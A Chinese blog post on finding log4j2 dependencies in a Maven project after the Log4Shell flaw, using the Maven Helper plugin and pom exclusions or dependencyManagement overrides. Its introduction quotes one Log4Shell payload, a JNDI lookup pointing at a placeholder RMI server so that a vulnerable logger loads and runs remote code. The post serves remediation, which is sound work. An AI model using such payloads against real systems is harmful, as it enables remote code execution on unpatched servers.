Maven项目如何查看哪里依赖了log4j2

Maven项目如何查看哪里依赖了log4j2

log4j2的漏洞想必大佬们都知晓了吧,由于它能解析$表达式并执行,比如${java:os}。所以有人就有坏点子了,结合jndi远程调用一个攻击服务器的java对象文件并执行,比如${jndi:rmi://127.0.0.1:8080/exec},假设被攻击的主机或者主机上运行的web程序自身没有限制调用该地址,那后果可想而知。

说来也是搞笑,这个漏洞其实很简单,也显而易见,可是log4j在业界的使用量这么大,居然这么多年才被发现。

进入正题,假设我们的maven项目是手动引用了log4j,那这个比较简单,直接修改版本,但是不能保证框架中是否也依赖了log4j,这时候就需要分析依赖了。

安装Maven Helper

在idea的插件市场搜索Maven Helper关键字,找到Maven Helper并安装

在这里插入图片描述

检查log4j

安装了Maven Helper以后,打开pom文件,左下角出现依赖器分析栏目

在这里插入图片描述

此时使用log4j关键字检索就能清楚的看到哪里依赖了log4j

在这里插入图片描述

然后在pom文件中使用exclusions节点排除,并添加新版本的log4j依赖。比如:

    <dependency>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-log4j2</artifactId>
        <exclusions>
            <exclusion>
                <groupId>org.apache.logging.log4j</groupId>
                <artifactId>log4j-core</artifactId>
            </exclusion>
        </exclusions>
    </dependency>

值得注意的是如果你是多模块项目,那你只需要在父pom中使用dependencyManagement节点配置新版本的依赖,这样可以覆盖所有的子项目,不用每个子项目都排除一遍比如:

	<dependencyManagement>
        <dependencies>
            <dependency>
                <groupId>org.apache.logging.log4j</groupId>
                <artifactId>log4j-core</artifactId>
                <version>${log4j.version}</version>
            </dependency>
        </dependencies>
    </dependencyManagement>
分享到这里就结束了,欢迎大家讨论指正。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值